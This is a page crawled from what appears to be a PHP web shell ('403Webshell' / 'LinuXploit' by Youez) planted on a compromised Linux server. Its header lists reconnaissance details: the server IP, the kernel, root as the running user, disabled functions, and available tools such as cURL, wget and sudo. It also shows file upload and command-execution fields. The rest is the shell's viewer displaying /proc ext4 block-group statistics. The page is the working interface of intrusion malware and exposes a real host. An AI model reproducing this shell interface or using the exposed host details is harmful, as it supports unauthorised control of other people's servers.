403Webshell
Server IP : 216.250.13.251  /  Your IP : 216.73.216.164
Web Server : nginx/1.24.0
System : Linux gunay 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : root ( 0)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/self/root/proc/fs/ext4/vda1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/fs/ext4/vda1/mb_groups
#group: free  frags first [ 2^0   2^1   2^2   2^3   2^4   2^5   2^6   2^7   2^8   2^9   2^10  2^11  2^12  2^13  ]
#0    : 8     6     22518 [ 6     1     0     0     0     0     0     0     0     0     0     0     0     0     ]
#1    : 475   159   328   [ 145   57    32    11    0     0     0     0     0     0     0     0     0     0     ]
#2    : 303   98    1069  [ 95    30    17    10    0     0     0     0     0     0     0     0     0     0     ]
#3    : 103   66    272   [ 59    18    2     0     0     0     0     0     0     0     0     0     0     0     ]
#4    : 174   98    185   [ 92    31    5     0     0     0     0     0     0     0     0     0     0     0     ]
#5    : 288   160   864   [ 150   33    18    0     0     0     0     0     0     0     0     0     0     0     ]
#6    : 410   198   188   [ 174   94    12    0     0     0     0     0     0     0     0     0     0     0     ]
#7    : 446   67    320   [ 50    42    24    15    6     0     0     0     0     0     0     0     0     0     ]
#8    : 69    16    17148 [ 11    9     6     2     0     0     0     0     0     0     0     0     0     0     ]
#9    : 214   45    456   [ 42    16    7     6     4     0     0     0     0     0     0     0     0     0     ]
#10   : 456   150   2387  [ 138   79    30    5     0     0     0     0     0     0     0     0     0     0     ]
#11   : 34    7     6527  [ 2     2     5     1     0     0     0     0     0     0     0     0     0     0     ]
#12   : 61    8     3075  [ 9     2     2     3     1     0     0     0     0     0     0     0     0     0     ]
#13   : 27    4     12287 [ 3     0     0     1     1     0     0     0     0     0     0     0     0     0     ]
#14   : 81    6     14176 [ 5     4     3     5     1     0     0     0     0     0     0     0     0     0     ]
#15   : 112   19    594   [ 10    13    7     2     2     0     0     0     0     0     0     0     0     0     ]
#16   : 11    2     7648  [ 1     1     0     1     0     0     0     0     0     0     0     0     0     0     ]
#17   : 381   106   4444  [ 97    50    18    6     4     0     0     0     0     0     0     0     0     0     ]
#18   : 268   63    79    [ 62    39    22    5     0     0     0     0     0     0     0     0     0     0     ]
#19   : 259   71    818   [ 71    20    11    11    1     0     0     0     0     0     0     0     0     0     ]
#20   : 211   35    13211 [ 33    15    9     6     4     0     0     0     0     0     0     0     0     0     ]
#21   : 339   98    363   [ 91    36    12    8     4     0     0     0     0     0     0     0     0     0     ]
#22   : 304   41    431   [ 32    22    17    10    5     0     0     0     0     0     0     0     0     0     ]
#23   : 16    5     24234 [ 4     4     1     0     0     0     0     0     0     0     0     0     0     0     ]
#24   : 271   97    7628  [ 93    59    7     2     1     0     0     0     0     0     0     0     0     0     ]
#25   : 119   14    360   [ 3     8     7     9     0     0     0     0     0     0     0     0     0     0     ]
#26   : 91    29    1408  [ 31    12    1     0     2     0     0     0     0     0     0     0     0     0     ]
#27   : 120   27    1312  [ 22    13    4     3     2     0     0     0     0     0     0     0     0     0     ]
#28   : 118   26    3446  [ 24    17    5     5     0     0     0     0     0     0     0     0     0     0     ]
#29   : 354   50    174   [ 28    33    33    14    1     0     0     0     0     0     0     0     0     0     ]
#30   : 420   53    2047  [ 28    30    17    13    10    0     0     0     0     0     0     0     0     0     ]
#31   : 103   14    6066  [ 9     7     8     6     0     0     0     0     0     0     0     0     0     0     ]
#32   : 69    6     19968 [ 1     4     5     1     2     0     0     0     0     0     0     0     0     0     ]
#33   : 90    25    7675  [ 20    11    8     0     1     0     0     0     0     0     0     0     0     0     ]
#34   : 59    8     2850  [ 3     2     7     3     0     0     0     0     0     0     0     0     0     0     ]
#35   : 449   43    8382  [ 27    19    22    15    11    0     0     0     0     0     0     0     0     0     ]
#36   : 278   77    1113  [ 74    36    5     8     3     0     0     0     0     0     0     0     0     0     ]
#37   : 93    15    68    [ 11    3     7     4     1     0     0     0     0     0     0     0     0     0     ]
#38   : 142   18    9190  [ 12    5     4     5     4     0     0     0     0     0     0     0     0     0     ]
#39   : 75    11    557   [ 5     5     3     4     1     0     0     0     0     0     0     0     0     0     ]
#40   : 243   49    257   [ 47    24    15    5     3     0     0     0     0     0     0     0     0     0     ]
#41   : 105   21    2892  [ 11    11    8     3     1     0     0     0     0     0     0     0     0     0     ]
#42   : 51    8     3060  [ 5     5     5     2     0     0     0     0     0     0     0     0     0     0     ]
#43   : 240   41    2944  [ 40    24    18    8     1     0     0     0     0     0     0     0     0     0     ]
#44   : 140   21    672   [ 12    6     3     5     4     0     0     0     0     0     0     0     0     0     ]
#45   : 471   80    283   [ 55    38    35    25    0     0     0     0     0     0     0     0     0     0     ]
#46   : 209   33    88    [ 17    14    19    11    0     0     0     0     0     0     0     0     0     0     ]
#47   : 108   20    239   [ 14    11    4     5     1     0     0     0     0     0     0     0     0     0     ]
#48   : 20    2     21066 [ 0     2     0     0     1     0     0     0     0     0     0     0     0     0     ]
#49   : 565   111   311   [ 81    62    38    26    0     0     0     0     0     0     0     0     0     0     ]
#50   : 124   23    1264  [ 18    13    8     4     1     0     0     0     0     0     0     0     0     0     ]
#51   : 194   30    6963  [ 26    12    10    5     4     0     0     0     0     0     0     0     0     0     ]
#52   : 95    12    2639  [ 7     6     7     4     1     0     0     0     0     0     0     0     0     0     ]
#53   : 112   16    83    [ 10    11    6     5     1     0     0     0     0     0     0     0     0     0     ]
#54   : 145   23    157   [ 9     14    13    7     0     0     0     0     0     0     0     0     0     0     ]
#55   : 51    7     3584  [ 1     3     5     3     0     0     0     0     0     0     0     0     0     0     ]
#56   : 208   56    808   [ 44    24    17    6     0     0     0     0     0     0     0     0     0     0     ]
#57   : 72    8     1488  [ 6     3     5     5     0     0     0     0     0     0     0     0     0     0     ]
#58   : 108   22    1023  [ 18    9     10    4     0     0     0     0     0     0     0     0     0     0     ]
#59   : 197   49    5623  [ 39    23    12    4     2     0     0     0     0     0     0     0     0     0     ]
#60   : 129   12    2195  [ 9     6     5     3     4     0     0     0     0     0     0     0     0     0     ]
#61   : 59    9     497   [ 7     4     1     5     0     0     0     0     0     0     0     0     0     0     ]
#62   : 165   41    366   [ 39    17    9     7     0     0     0     0     0     0     0     0     0     0     ]
#63   : 121   13    2861  [ 11    7     6     9     0     0     0     0     0     0     0     0     0     0     ]
#64   : 29    4     15353 [ 5     2     3     1     0     0     0     0     0     0     0     0     0     0     ]
#65   : 31    7     2047  [ 5     1     2     2     0     0     0     0     0     0     0     0     0     0     ]
#66   : 18    4     4560  [ 2     2     1     1     0     0     0     0     0     0     0     0     0     0     ]
#67   : 40    17    10080 [ 18    1     1     2     0     0     0     0     0     0     0     0     0     0     ]
#68   : 52    17    5138  [ 16    6     2     2     0     0     0     0     0     0     0     0     0     0     ]
#69   : 33    6     1148  [ 3     1     3     2     0     0     0     0     0     0     0     0     0     0     ]
#70   : 48    10    218   [ 6     9     6     0     0     0     0     0     0     0     0     0     0     0     ]
#71   : 39    6     5549  [ 5     5     2     2     0     0     0     0     0     0     0     0     0     0     ]

Youez - 2016 - github.com/yon3zu
LinuXploit